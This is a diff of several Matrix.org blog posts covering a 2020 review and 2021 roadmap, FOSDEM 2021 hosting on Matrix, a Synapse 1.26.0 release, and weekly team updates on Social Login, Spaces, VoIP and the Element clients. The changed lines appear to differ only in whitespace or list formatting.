* We certainly didn’t predict that the “[how to install Synapse](https://matrix.org/blog/2020/04/06/running-your-own-secure-communication-service-with-matrix-and-jitsi)” video tutorial published at the beginning of the COVID-19 pandemic would end up with 25.5K views (and counting…)
|
||||
* Riot, Modular and New Vector got unified at last behind a single name: [Element](https://element.io/blog/welcome-to-element/); hopefully the shock has worn off by now :)
|
||||
* [Mozilla joined Matrix](https://matrix.org/blog/2020/03/03/moznet-irc-is-dead-long-live-mozilla-matrix) in force, turning off Moznet IRC in favour of going full Matrix.
|
||||
* [We welcomed Gitter](https://matrix.org/blog/2020/09/30/welcoming-gitter-to-matrix) into the heart of the Matrix ecosystem (with [Element acquiring Gitter](https://element.io/blog/gitter-is-joining-element/) from [Gitlab](https://about.gitlab.com/blog/2020/09/30/gitter-moves-to-element/) in order to ensure Gitter’s Matrix integration acts as a reference for integrating future chat silos into Matrix) - with [native Matrix support in Gitter](https://matrix.org/blog/2020/12/07/gitter-now-speaks-matrix) going live shortly afterwards.
|
||||
* [Automattic](https://matrix.org/blog/2020/05/21/welcoming-automattic-to-matrix) launched itself into the Matrix ecosystem with an investment in Element, and since then we’ve been working on getting Matrix better integrated and available to them (although all of Element’s Matrix-for-governments activity has ended up delaying this a bit). If you want to work for Automattic on integrating Matrix, [they’re hiring](https://automattic.com/work-with-us/matrix-integrations-engineer/)!
|
||||
* We previewed [Cerulean](https://matrix.org/blog/2020/12/18/introducing-cerulean) as a super-exciting proof-of-concept client, demonstrating how social media could work on Matrix, with native threading, profiles-as-rooms, decentralised reputation, and (shortly) peeking-over-federation.
|
||||
* [We completely rewrote matrix.to](https://matrix.org/blog/2020/12/17/matrix-to-reloaded) and relaunched it as a much more capable and friendly permalink redirection service; a precursor to finally getting matrix:// URLs everywhere!
|
||||
* We certainly didn’t predict that the “[how to install Synapse](https://matrix.org/blog/2020/04/06/running-your-own-secure-communication-service-with-matrix-and-jitsi)” video tutorial published at the beginning of the COVID-19 pandemic would end up with 25.5K views (and counting…)
|
||||
|
||||
Then, there’s whole new waves of exciting stuff going on. The most obvious has to be the amount of Government uptake we’ve seen with Matrix this year, following on from [France embracing Matrix](https://joinup.ec.europa.eu/collection/open-source-observatory-osor/document/french-government-launches-house-developed-messaging-service-tchap) across the public sector last year. Firstly the German armed forces announced their [transition to Matrix](https://www.bwi.de/news-blog/news/artikel/open-source-matrix-ist-einheitlicher-messenger-standard-fuer-die-bundeswehr), and then the German states of Schleswig-Holstein and Hamburg announced a [mammoth 500K user Matrix deployment](https://sifted.eu/articles/element-germany-deal/) for education and public administration. Meanwhile, North Rhine Westphalia (the biggest state in Germany) launched their own Matrix-powered [messager for education](https://www.logineo.schulministerium.nrw.de/LOGINEO-NRW/NEU-LOGINEO-NRW-Messenger/Messenger.html); loads of different universities have rolled out Matrix for collaboration - and we hear [Famedly](https://famedly.com) is [making good progress](https://www.businessinsider.de/gruenderszene/health/famedly-kommunikation-app-gesundheitswesen/) with Matrix-powered healthcare messaging solutions. Finally, outside of Germany, we’re seeing the first official deployments in the UK government and US federal government - we’ll share details where possible (but sometimes big deployments of encrypted communication systems want to remain discreet). It’s incredibly exciting to see Matrix spreading across the public sector and education, and we’re hoping this will follow a similar pattern to how the Internet, email or indeed the Web first developed: a mix of high profile public sector deployments, complemented by a passionate grass-roots technical community, eventually spreading to span the rest of society :).
|
||||
|
||||
|
|
@ -68,21 +68,21 @@ Anyway, enough Space scifi - what’s coming up in 2021?
|
|||
|
||||
Our current hit list is:
|
||||
|
||||
* **Spaces** - see above :)
|
||||
* **Social Login** - we’re going to be making Single Sign On (SSO) a proper first-class citizen in Matrix (and Synapse and Element) in the coming weeks, and enabling it on the matrix.org homeserver, so users can do single-click logins via Github/Gitlab/Google and other SSO providers. Obviously this means your Matrix identity will be beholden to your identity provider (IdP), but this may well be preferable for many users who just want a single-click way to enter Matrix and don’t care about being tied to a given IdP.
|
||||
* **VoIP** - we have a *lot* of work in flight at the moment to make 1:1 VoIP super robust. Some of it has already landed in Element, but the rest will land in the coming weeks - and then we’re hoping to revisit Matrix-native group voice/video.
|
||||
* **Voice messaging** - we’re hoping to finally add voice messaging to Element (and Matrix)
|
||||
* **Location sharing** - ...and this too.
|
||||
* **P2P **- Lots of P2P work on the horizon, now Dendrite is increasingly stable. First of all we need to iterate more on Pinecone, our pre-alpha next-generation P2P overlay network - and then sort out account portability, and privacy-preserving store-and-forward. We’re hoping to see the live P2P Matrix network turn on this year, however, and ideally see homeservers (probably Dendrite) multihoming by default on both today’s Matrix as well as the P2P network, acting as gateways between the two.
|
||||
* **Threads** - Cerulean is excellent proof for how threading could work in Matrix; we just need to get it implemented in Element!
|
||||
* **Peeking** - Peeking is going to become so much more important for participating in non-chat rooms, such as Spaces, Profiles, Reputation feeds, etc. We’ll finish it in Dendrite, and then implement it in Synapse too.
|
||||
* **Decentralised Reputation **- Cerulean has the first implementation of decentralised reputation for experimentation purposes, and we’ll be working solidly on it over the coming year to empower users to counter abuse by applying their own subjective reputation feeds to their content.
|
||||
* **Incremental Signup **- Once upon a time, Element (Riot) had the ability to gradually sign-up without the user even really realising they’d signed up. We want to bring it back - perhaps this will be the year?
|
||||
* **DMLS** - with the first [MLS](https://datatracker.ietf.org/wg/mls) messages flowing over Matrix, we want to at least provide MLS as an option alongside Megolm for encryption. It should be radically more performant in larger rooms (logarithmic rather than linear complexity), but lacks deniability (the assurance that you cannot prove a user said something in retrospect, in order to blackmail them or similar), and is still unproven technology. We’ll aim to prove it in 2021.
|
||||
* **E2EE improvements** - We improved E2EE immeasurably in 2020; turning it on by default, adding cross-signing, QR code verification etc. But usability and reliability can still be improved. We’ll be looking at further simplifying the UX, and potentially combining together your login password and recovery/security passphrase so you only have one password to remember going forwards.
|
||||
* **Hydrogen** - We’ll keep polishing Hydrogen, bringing it towards feature parity with Element, ensure its SDK is available for other clients, and start seeing how we can use it in Element itself. For instance, the Spaces-aware RoomList in Element may well end up stealing alien technology from Hydrogen.
|
||||
* **matrix-rust-sdk** - Similarly, we’ll keep polishing matrix-rust-sdk; stealing inspiration from Hydrogen’s state model, and start migrating bits of the native mobile Element apps to use it.
|
||||
* **The Spec** - get Will’s new spec website live, and get improving all the surrounding material too.
|
||||
* **Spaces** - see above :)
|
||||
* **Social Login** - we’re going to be making Single Sign On (SSO) a proper first-class citizen in Matrix (and Synapse and Element) in the coming weeks, and enabling it on the matrix.org homeserver, so users can do single-click logins via Github/Gitlab/Google and other SSO providers. Obviously this means your Matrix identity will be beholden to your identity provider (IdP), but this may well be preferable for many users who just want a single-click way to enter Matrix and don’t care about being tied to a given IdP.
|
||||
* **VoIP** - we have a *lot* of work in flight at the moment to make 1:1 VoIP super robust. Some of it has already landed in Element, but the rest will land in the coming weeks - and then we’re hoping to revisit Matrix-native group voice/video.
|
||||
* **Voice messaging** - we’re hoping to finally add voice messaging to Element (and Matrix)
|
||||
* **Location sharing** - ...and this too.
|
||||
* **P2P **- Lots of P2P work on the horizon, now Dendrite is increasingly stable. First of all we need to iterate more on Pinecone, our pre-alpha next-generation P2P overlay network - and then sort out account portability, and privacy-preserving store-and-forward. We’re hoping to see the live P2P Matrix network turn on this year, however, and ideally see homeservers (probably Dendrite) multihoming by default on both today’s Matrix as well as the P2P network, acting as gateways between the two.
|
||||
* **Threads** - Cerulean is excellent proof for how threading could work in Matrix; we just need to get it implemented in Element!
|
||||
* **Peeking** - Peeking is going to become so much more important for participating in non-chat rooms, such as Spaces, Profiles, Reputation feeds, etc. We’ll finish it in Dendrite, and then implement it in Synapse too.
|
||||
* **Decentralised Reputation **- Cerulean has the first implementation of decentralised reputation for experimentation purposes, and we’ll be working solidly on it over the coming year to empower users to counter abuse by applying their own subjective reputation feeds to their content.
|
||||
* **Incremental Signup **- Once upon a time, Element (Riot) had the ability to gradually sign-up without the user even really realising they’d signed up. We want to bring it back - perhaps this will be the year?
|
||||
* **DMLS** - with the first [MLS](https://datatracker.ietf.org/wg/mls) messages flowing over Matrix, we want to at least provide MLS as an option alongside Megolm for encryption. It should be radically more performant in larger rooms (logarithmic rather than linear complexity), but lacks deniability (the assurance that you cannot prove a user said something in retrospect, in order to blackmail them or similar), and is still unproven technology. We’ll aim to prove it in 2021.
|
||||
* **E2EE improvements** - We improved E2EE immeasurably in 2020; turning it on by default, adding cross-signing, QR code verification etc. But usability and reliability can still be improved. We’ll be looking at further simplifying the UX, and potentially combining together your login password and recovery/security passphrase so you only have one password to remember going forwards.
|
||||
* **Hydrogen** - We’ll keep polishing Hydrogen, bringing it towards feature parity with Element, ensure its SDK is available for other clients, and start seeing how we can use it in Element itself. For instance, the Spaces-aware RoomList in Element may well end up stealing alien technology from Hydrogen.
|
||||
* **matrix-rust-sdk** - Similarly, we’ll keep polishing matrix-rust-sdk; stealing inspiration from Hydrogen’s state model, and start migrating bits of the native mobile Element apps to use it.
|
||||
* **The Spec** - get Will’s new spec website live, and get improving all the surrounding material too.
|
||||
|
||||
I’m sure I’m missing lots here, but these are the ones which pop immediately to mind. You can also check [Element's public roadmap](https://github.com/vector-im/roadmap/projects/1), which covers all the core Matrix work donated by Element (as well as everything else Element is getting up to).
|
||||
|
||||
|
|
|
|||
|
|
@ -27,20 +27,20 @@ And so, over the last few weeks we’ve been hard at work with the FOSDEM team t
|
|||
|
||||
Firstly, FOSDEM will have its own dedicated Matrix server at fosdem.org (hosted by [EMS](https://element.io/matrix-services) along with a tonne of Jitsi’s) acting as the social backbone for the event. Matrix is particularly well suited for this, because:
|
||||
|
||||
* We’re an [open standard](https://matrix.org/docs/spec) comms protocol with an open network run under a [non-profit foundation](https://matrix.org/foundation) with loads of [open source implementations](https://matrix.org/docs/projects/try-matrix-now/) (including the reference ones): folks can jump on board and participate via their own servers, clients, bridges, bots etc.
|
||||
* We provide official bridges through to IRC and XMPP (and most other chat systems), giving as much openness and choice as possible - if folks want to participate via Freenode and XMPP they can!
|
||||
* We’re built with large virtual communities in mind (e.g. Mozilla, KDE, Matrix itself) - for instance, we’ve worked a lot on [moderation](https://matrix.org/docs/guides/moderation) recently.
|
||||
* We’ve spent a lot of time improving [widgets](https://youtu.be/Fk7YRiFIwZ4?t=251) recently: these give the ability to embed arbitrary webapps into chatrooms - letting you add livestreams, video conferences, schedules, Q&A dashboards etc, augmenting a plain old chatroom into a much richer virtual experience that can hopefully capture the semantics and requirements of an event like FOSDEM.
|
||||
* We’re an [open standard](https://matrix.org/docs/spec) comms protocol with an open network run under a [non-profit foundation](https://matrix.org/foundation) with loads of [open source implementations](https://matrix.org/docs/projects/try-matrix-now/) (including the reference ones): folks can jump on board and participate via their own servers, clients, bridges, bots etc.
|
||||
* We provide official bridges through to IRC and XMPP (and most other chat systems), giving as much openness and choice as possible - if folks want to participate via Freenode and XMPP they can!
|
||||
* We’re built with large virtual communities in mind (e.g. Mozilla, KDE, Matrix itself) - for instance, we’ve worked a lot on [moderation](https://matrix.org/docs/guides/moderation) recently.
|
||||
* We’ve spent a lot of time improving [widgets](https://youtu.be/Fk7YRiFIwZ4?t=251) recently: these give the ability to embed arbitrary webapps into chatrooms - letting you add livestreams, video conferences, schedules, Q&A dashboards etc, augmenting a plain old chatroom into a much richer virtual experience that can hopefully capture the semantics and requirements of an event like FOSDEM.
|
||||
|
||||
We’re currently in the middle of setting up the server with a dedicated [Element](https://element.io) as the default client, but what we’re aiming for is:
|
||||
|
||||
* Attendees can lurk as read-only guests in devrooms without needing to set up accounts (or they can of course use their existing Matrix/IRC/XMPP accounts)
|
||||
* Every devroom and track will have its own chatroom, where the audience can hang out and view the livestream of that particular devroom (using the normal FOSDEM video livestream system). There’ll also be a ‘backstage’ room per track for coordination between the devroom organisers and the speakers.
|
||||
* The talks themselves will be prerecorded to minimise risk of disaster, but each talk will have a question & answer session at the end which will be a live Jitsi broadcast from the speaker and a host who will relay questions from the devroom.
|
||||
* Each talk will have a dedicated room too, where after the official talk slot the audience can pop in and chat to the speaker more informally if they’re available (by text and/or by moderated jitsi). During the talk, this room will act as the ‘stage’ for the speaker & host to watch the livestream and conduct the question & answer session.
|
||||
* Every stand will also have its own chatroom and optional jitsi+livestream, as will BOFs or other adhoc events, so folks can get involved both by chat and video, to get as close to the real event as possible (although it’s unlikely we’ll capture the unique atmospheric conditions of K building, which may or may not be a bug ;)
|
||||
* There’ll also be a set of official support, social etc rooms - and of course folks can always create their own! Unfortunately folks will have to bring their own beer though :(
|
||||
* All of this will be orchestrated by a Matrix bot (which is rapidly taking shape over at [https://github.com/matrix-org/conference-bot](https://github.com/matrix-org/conference-bot)), responsible for orchestrating the hundreds of required rooms, setting up the right widgets and permissions, setting up bridges to IRC & XMPP, and keeping everything in sync with the official live [FOSDEM schedule](https://fosdem.org/2021/schedule/xml).
|
||||
* Attendees can lurk as read-only guests in devrooms without needing to set up accounts (or they can of course use their existing Matrix/IRC/XMPP accounts)
|
||||
* Every devroom and track will have its own chatroom, where the audience can hang out and view the livestream of that particular devroom (using the normal FOSDEM video livestream system). There’ll also be a ‘backstage’ room per track for coordination between the devroom organisers and the speakers.
|
||||
* The talks themselves will be prerecorded to minimise risk of disaster, but each talk will have a question & answer session at the end which will be a live Jitsi broadcast from the speaker and a host who will relay questions from the devroom.
|
||||
* Each talk will have a dedicated room too, where after the official talk slot the audience can pop in and chat to the speaker more informally if they’re available (by text and/or by moderated jitsi). During the talk, this room will act as the ‘stage’ for the speaker & host to watch the livestream and conduct the question & answer session.
|
||||
* Every stand will also have its own chatroom and optional jitsi+livestream, as will BOFs or other adhoc events, so folks can get involved both by chat and video, to get as close to the real event as possible (although it’s unlikely we’ll capture the unique atmospheric conditions of K building, which may or may not be a bug ;)
|
||||
* There’ll also be a set of official support, social etc rooms - and of course folks can always create their own! Unfortunately folks will have to bring their own beer though :(
|
||||
* All of this will be orchestrated by a Matrix bot (which is rapidly taking shape over at [https://github.com/matrix-org/conference-bot](https://github.com/matrix-org/conference-bot)), responsible for orchestrating the hundreds of required rooms, setting up the right widgets and permissions, setting up bridges to IRC & XMPP, and keeping everything in sync with the official live [FOSDEM schedule](https://fosdem.org/2021/schedule/xml).
|
||||
|
||||
**N.B. This is aspirational, and is all still subject to change**, but that said - so far it’s all coming together pretty well, and hopefully our next update will be opening up the rooms and the server so that folks can get comfortable in advance of the event.
|
||||
|
||||
|
|
@ -50,7 +50,7 @@ Huge thanks go to the FOSDEM team for trusting us to sort out the social/chat la
|
|||
|
||||
FOSDEM is only a handful of weeks away, and we have our work cut out to bring this all together in time. There are a few areas where we could really do with some help:
|
||||
|
||||
* Folks on XMPP often complain that the [Bifröst](https://github.com/matrix-org/matrix-bifrost) Matrix<->XMPP bridge [doesn’t support MAMs](https://github.com/matrix-org/matrix-bifrost/issues/64) - meaning that if XMPP users lose connection, they lose scrollback. We’re not going to have time to fix this ourselves in time, so this would be a great time for XMPP folks who grok xmpp.js to come get involved and help to ensure the best possible XMPP experience! (Similarly on other bifrost shortcomings).
|
||||
* It’d be really nice to be able to render nice schedule widgets for each devroom, and embed the overall schedule in the support rooms etc. The current HTML schedules at [https://fosdem.org/2021/schedule/day/saturday/](https://fosdem.org/2021/schedule/day/saturday/) and (say) [https://fosdem.org/2021/schedule/room/vcollab/](https://fosdem.org/2021/schedule/room/vcollab/) don’t exactly fit - if someone could write a thing which renders them at (say) 2:5 aspect ratio so they can fit nicely down the side of a chatroom then that could be awesome!
|
||||
* While we’ll bridge all the official rooms over to Freenode, it’d be even nicer if people could just hop straight into *any* room on the FOSDEM server (or beyond) via IRC - effectively exposing the whole thing as an IRC network for those who prefer IRC. We have a project to do this: [matrix-ircd](https://github.com/matrix-org/matrix-ircd), but it almost certainly needs more love and polish before it could be used for something as big as this. If you like Rust and know Matrix, please jump in and get involved!
|
||||
* If you just want to follow along or help out, then we’ve created a general room for discussion over at [#fosdem-matrix:fosdem.org](https://matrix.to/#/#fosdem-matrix:fosdem.org). It’d be awesome to have as many useful bots & widgets as possible to help things along.
|
||||
* Folks on XMPP often complain that the [Bifröst](https://github.com/matrix-org/matrix-bifrost) Matrix<->XMPP bridge [doesn’t support MAMs](https://github.com/matrix-org/matrix-bifrost/issues/64) - meaning that if XMPP users lose connection, they lose scrollback. We’re not going to have time to fix this ourselves in time, so this would be a great time for XMPP folks who grok xmpp.js to come get involved and help to ensure the best possible XMPP experience! (Similarly on other bifrost shortcomings).
|
||||
* It’d be really nice to be able to render nice schedule widgets for each devroom, and embed the overall schedule in the support rooms etc. The current HTML schedules at [https://fosdem.org/2021/schedule/day/saturday/](https://fosdem.org/2021/schedule/day/saturday/) and (say) [https://fosdem.org/2021/schedule/room/vcollab/](https://fosdem.org/2021/schedule/room/vcollab/) don’t exactly fit - if someone could write a thing which renders them at (say) 2:5 aspect ratio so they can fit nicely down the side of a chatroom then that could be awesome!
|
||||
* While we’ll bridge all the official rooms over to Freenode, it’d be even nicer if people could just hop straight into *any* room on the FOSDEM server (or beyond) via IRC - effectively exposing the whole thing as an IRC network for those who prefer IRC. We have a project to do this: [matrix-ircd](https://github.com/matrix-org/matrix-ircd), but it almost certainly needs more love and polish before it could be used for something as big as this. If you like Rust and know Matrix, please jump in and get involved!
|
||||
* If you just want to follow along or help out, then we’ve created a general room for discussion over at [#fosdem-matrix:fosdem.org](https://matrix.to/#/#fosdem-matrix:fosdem.org). It’d be awesome to have as many useful bots & widgets as possible to help things along.
|
||||
|
|
|
|||
|
|
@ -13,15 +13,15 @@ category = ["Releases"]
|
|||
|
||||
In addition to a truckload of refactoring and general improvements, Synapse 1.26.0 includes three major new features:
|
||||
|
||||
1. A [brand new algorithm](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/auth_chain_difference_algorithm.md) for calculating the auth chain difference, which should dramatically improve worst case performance during state resolution ([#8622](https://github.com/matrix-org/synapse/issues/8622)).
|
||||
2. Initial support for enabling [multiple OpenID Connect providers](https://github.com/matrix-org/synapse/pull/9110), paving the way for proper multi-provider social login workflows.
|
||||
3. A significant speed-up to redaction performance in large rooms.
|
||||
1. A [brand new algorithm](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/auth_chain_difference_algorithm.md) for calculating the auth chain difference, which should dramatically improve worst case performance during state resolution ([#8622](https://github.com/matrix-org/synapse/issues/8622)).
|
||||
2. Initial support for enabling [multiple OpenID Connect providers](https://github.com/matrix-org/synapse/pull/9110), paving the way for proper multi-provider social login workflows.
|
||||
3. A significant speed-up to redaction performance in large rooms.
|
||||
|
||||
It also brings several improvements to Admin APIs:
|
||||
|
||||
- Specific media items can be [protected from quarantine](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/admin_api/media_admin_api.md#protecting-media-from-being-quarantined).
|
||||
- The `joined_rooms` API now [works for remote users](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/admin_api/user_admin_api.rst#list-room-memberships-of-an-user).
|
||||
- Deactivating a user can now [optionally remove their avatar URL and display name](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/admin_api/user_admin_api.rst#deactivate-account).
|
||||
- Specific media items can be [protected from quarantine](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/admin_api/media_admin_api.md#protecting-media-from-being-quarantined).
|
||||
- The `joined_rooms` API now [works for remote users](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/admin_api/user_admin_api.rst#list-room-memberships-of-an-user).
|
||||
- Deactivating a user can now [optionally remove their avatar URL and display name](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/admin_api/user_admin_api.rst#deactivate-account).
|
||||
|
||||
We've also made it possible to offload several additional APIs to worker processes, including read receipts and account data persistence, further improving Synapse's scalability.
|
||||
|
||||
|
|
|
|||
|
|
@ -203,44 +203,44 @@ Then, later...
|
|||
|
||||
> **Delight**
|
||||
>
|
||||
> * Social Login
|
||||
> * Final polishing and bug hunting across all platforms. We are targeting 5 options to begin with (Gitlab, Github, Facebook, Google and Apple) and will hopefully be ready to start setting these up on homeservers next week.
|
||||
> * Social Login
|
||||
> * Final polishing and bug hunting across all platforms. We are targeting 5 options to begin with (Gitlab, Github, Facebook, Google and Apple) and will hopefully be ready to start setting these up on homeservers next week.
|
||||
>
|
||||
> * Spaces
|
||||
> * Spaces
|
||||
>
|
||||
> * Lots of polishing on Element web, you can get all the latest in the matrix live demo session next week!
|
||||
> * Lots of polishing on Element web, you can get all the latest in the matrix live demo session next week!
|
||||
>
|
||||
> **VoIP**
|
||||
>
|
||||
> * Added some debugging to web to help debug call connectivity failures
|
||||
> * Fixed a compatibility regression in web with voip v0 clients (ie. element android / ios) - d’oh!
|
||||
> * Added some debugging to web to help debug call connectivity failures
|
||||
> * Fixed a compatibility regression in web with voip v0 clients (ie. element android / ios) - d’oh!
|
||||
>
|
||||
> * Android: work on getting call audio routing correct on various different devices
|
||||
> * Design coming up to speed to support on implementation and ongoing UI improvements
|
||||
> * Android: work on getting call audio routing correct on various different devices
|
||||
> * Design coming up to speed to support on implementation and ongoing UI improvements
|
||||
>
|
||||
> * iOS on holiday
|
||||
> * iOS on holiday
|
||||
>
|
||||
> **Web**
|
||||
>
|
||||
> * Off cycle 1.7.18 release for VoIP compat bug
|
||||
> * Various tweaks to prepare for FOSDEM
|
||||
> * Off cycle 1.7.18 release for VoIP compat bug
|
||||
> * Various tweaks to prepare for FOSDEM
|
||||
>
|
||||
> * Element Web 1.7.19-rc.1 is now available at <https://staging.element.io>, including:
|
||||
> * Allowed guest users to see widgets
|
||||
> * Element Web 1.7.19-rc.1 is now available at <https://staging.element.io>, including:
|
||||
> * Allowed guest users to see widgets
|
||||
>
|
||||
> * Standardised security terminology to reduce confusion
|
||||
> * Added ability to pin widgets for everyone in the room
|
||||
> * Standardised security terminology to reduce confusion
|
||||
> * Added ability to pin widgets for everyone in the room
|
||||
>
|
||||
> **iOS**
|
||||
>
|
||||
> * We made several iterations since the last App Store release (1.1.3) but Element-iOS [1.1.6](https://github.com/vector-im/element-ios/releases) is now in the store.
|
||||
> * We made some improvements to use less RAM in the background sync module that manages push notifications.
|
||||
> * We made several iterations since the last App Store release (1.1.3) but Element-iOS [1.1.6](https://github.com/vector-im/element-ios/releases) is now in the store.
|
||||
> * We made some improvements to use less RAM in the background sync module that manages push notifications.
|
||||
>
|
||||
> * We continued to improve performance in E2EE to speed up message sending using pre-sharing keys and re-sharing keys methods. Element-iOS now automatically rejects share requests from not verified devices. It does not send anymore such requests if it is not verified.
|
||||
> * We continued to improve performance in E2EE to speed up message sending using pre-sharing keys and re-sharing keys methods. Element-iOS now automatically rejects share requests from not verified devices. It does not send anymore such requests if it is not verified.
|
||||
>
|
||||
> **Android**
|
||||
>
|
||||
> * We are working on improving the initial /sync management. The first objective is to reduce RAM usage. Then, we will improve the time to display the room list.
|
||||
> * We are working on improving the initial /sync management. The first objective is to reduce RAM usage. Then, we will improve the time to display the room list.
|
||||
|
||||
## Dept of SDKs and Frameworks 🧰
|
||||
|
||||
|
|
|
|||
|
|
@ -156,52 +156,52 @@ Synapse is a popular homeserver written in Python.
|
|||
>
|
||||
>
|
||||
>
|
||||
> * Social Login
|
||||
> * Social Login
|
||||
>
|
||||
> * We’ve concluded most of the development on Social Login, and tested it last weekend on the FOSDEM deployments. We found that over 50% of new accounts used it to register! We’ll be deploying Social Login to matrix.org in the near future after polishing some final pieces on iOS.
|
||||
> * We’ve concluded most of the development on Social Login, and tested it last weekend on the FOSDEM deployments. We found that over 50% of new accounts used it to register! We’ll be deploying Social Login to matrix.org in the near future after polishing some final pieces on iOS.
|
||||
>
|
||||
> * Spaces
|
||||
> * Spaces
|
||||
>
|
||||
> * We’re iterating on the user experience for Spaces, first focusing on setting up, sharing and joining public spaces.
|
||||
> * We’re iterating on the user experience for Spaces, first focusing on setting up, sharing and joining public spaces.
|
||||
>
|
||||
> **VoIP**
|
||||
>
|
||||
>
|
||||
>
|
||||
> * VoIP branches merged to develop on iOS and & Android - please test voice & video calling if you have the android develop build, or testflight for iOS will be coming soon. More complex scenarios with multiple devices are particularly useful to test, eg. do other devices stop ringing when you answer on a different one?
|
||||
> * VoIP branches merged to develop on iOS and & Android - please test voice & video calling if you have the android develop build, or testflight for iOS will be coming soon. More complex scenarios with multiple devices are particularly useful to test, eg. do other devices stop ringing when you answer on a different one?
|
||||
>
|
||||
> **Web**
|
||||
>
|
||||
>
|
||||
>
|
||||
> * 1.7.21-rc.1 is now available at <https://staging.element.io>, including:
|
||||
> * 1.7.21-rc.1 is now available at <https://staging.element.io>, including:
|
||||
>
|
||||
> * Fixed screen sharing in VoIP calls
|
||||
> * Added window vs. full screen sharing option in VoIP calls
|
||||
> * Fixed screen sharing in VoIP calls
|
||||
> * Added window vs. full screen sharing option in VoIP calls
|
||||
>
|
||||
> * Fixed event permalinks to show link text instead of a room pill
|
||||
> * Fixed event permalinks to show link text instead of a room pill
|
||||
>
|
||||
> * 1.7.21 planned for release on Monday (15 Feb)
|
||||
> * 1.7.21 planned for release on Monday (15 Feb)
|
||||
>
|
||||
> * Element Desktop nightly builds are now using Electron 11
|
||||
> * Please report any issues you notice so we can address them before the next Element release
|
||||
> * Element Desktop nightly builds are now using Electron 11
|
||||
> * Please report any issues you notice so we can address them before the next Element release
|
||||
>
|
||||
> **iOS**
|
||||
>
|
||||
> * 1.2.1 has been submitted to Apple. TestFlight should be available from tomorrow:
|
||||
> * All new VoIP stuff described above
|
||||
> * 1.2.1 has been submitted to Apple. TestFlight should be available from tomorrow:
|
||||
> * All new VoIP stuff described above
|
||||
>
|
||||
> * Handle User-Interactive Authentication for delete device and adding user 3pid.
|
||||
> * Improve grace period management and setup Cross-Signing after login if possible when using SSO.
|
||||
> * Handle User-Interactive Authentication for delete device and adding user 3pid.
|
||||
> * Improve grace period management and setup Cross-Signing after login if possible when using SSO.
|
||||
>
|
||||
> * XcodeGen integration into the Element-iOS codebase is almost complete. From next week, we will not have merge conflicts on the pbxproj files. This also means better control on build settings.
|
||||
> * XcodeGen integration into the Element-iOS codebase is almost complete. From next week, we will not have merge conflicts on the pbxproj files. This also means better control on build settings.
|
||||
>
|
||||
> **Android**
|
||||
>
|
||||
> * Initial sync work improvements: performance is far better regarding RAM usage and stability (especially true for large accounts), though duration is still a concern.
|
||||
> * Initial sync work improvements: performance is far better regarding RAM usage and stability (especially true for large accounts), though duration is still a concern.
|
||||
>
|
||||
> * Started working on running integration tests via CI.
|
||||
> * 1.0.17 released, fixing a join over federation bug. Expect 1.0.18 next week.
|
||||
> * Started working on running integration tests via CI.
|
||||
> * 1.0.17 released, fixing a join over federation bug. Expect 1.0.18 next week.
|
||||
|
||||
## Dept of SDKs and Frameworks 🧰
|
||||
|
||||
|
|
|
|||
|
|
@ -199,47 +199,47 @@ Yes! Hydrogen progresses!
|
|||
>
|
||||
>
|
||||
>
|
||||
> * Social Login
|
||||
> * Social Login
|
||||
>
|
||||
> * Social log-in has shipped to matrix.org, we are seeing about 40% of new users opting for a social method. Next up will be landing some robustness improvements as well as automatic avatar import.
|
||||
> * Social log-in has shipped to matrix.org, we are seeing about 40% of new users opting for a social method. Next up will be landing some robustness improvements as well as automatic avatar import.
|
||||
>
|
||||
> * Spaces
|
||||
> * Spaces
|
||||
>
|
||||
> * We are aiming to get a basic version up and ready over the next few weeks. The idea is to have something behind a labs flag that will work for Spaces containing public rooms only. After that we will think about more complex cases such as Spaces containing private rooms.
|
||||
> * We are aiming to get a basic version up and ready over the next few weeks. The idea is to have something behind a labs flag that will work for Spaces containing public rooms only. After that we will think about more complex cases such as Spaces containing private rooms.
|
||||
>
|
||||
> **VoIP**
|
||||
>
|
||||
>
|
||||
>
|
||||
> * Fix for crash on Android caused by VoIP tiles
|
||||
> * Fix for crash on Android caused by VoIP tiles
|
||||
>
|
||||
> * Design updates on iOS for in-call view and dial pad
|
||||
> * Couple of tweaks to web that may help 1:1 call connectivity
|
||||
> * Design updates on iOS for in-call view and dial pad
|
||||
> * Couple of tweaks to web that may help 1:1 call connectivity
|
||||
>
|
||||
> **Web**
|
||||
>
|
||||
>
|
||||
>
|
||||
> * Element 1.7.21 was released on Monday (15 Feb)
|
||||
> * Element 1.7.21 was released on Monday (15 Feb)
|
||||
>
|
||||
> **iOS**
|
||||
>
|
||||
>
|
||||
>
|
||||
> * Element [1.2.1](https://github.com/vector-im/element-ios/releases) was released on Friday (12 Feb)
|
||||
> * Element [1.2.1](https://github.com/vector-im/element-ios/releases) was released on Friday (12 Feb)
|
||||
>
|
||||
> * We now use XcodeGen to generate Xcode project files. Please check [new instructions](https://github.com/vector-im/element-ios#build-instructions) to build the project. It is only on develop for the moment
|
||||
> * We made an update to libolm so that it accepts an external pickle key to encrypt its data when serialising it. Element-iOS uses the Keychain to provide this key.
|
||||
> * We now use XcodeGen to generate Xcode project files. Please check [new instructions](https://github.com/vector-im/element-ios#build-instructions) to build the project. It is only on develop for the moment
|
||||
> * We made an update to libolm so that it accepts an external pickle key to encrypt its data when serialising it. Element-iOS uses the Keychain to provide this key.
|
||||
>
|
||||
> * We started to review and merge pending PRs in our repos but we still have work. Thanks for your contributions and patience
|
||||
> * We started to review and merge pending PRs in our repos but we still have work. Thanks for your contributions and patience
|
||||
>
|
||||
> **Android**
|
||||
>
|
||||
>
|
||||
>
|
||||
> * We are preparing the release 1.1.0 which contains the work on VoIP
|
||||
> * We are preparing the release 1.1.0 which contains the work on VoIP
|
||||
>
|
||||
> * This release will also contain a lot of bug fixes
|
||||
> * This release will also contain a lot of bug fixes
|
||||
|
||||
## Dept of SDKs and Frameworks 🧰
|
||||
|
||||
|
|
|
|||
|
|
@ -164,36 +164,36 @@ Updates from the team:
|
|||
|
||||
|
||||
|
||||
* Social Login
|
||||
* After shipping Social Login on matrix.org, we’re working on general stability to harden the feature, and get better visibility on stability.
|
||||
* Spaces
|
||||
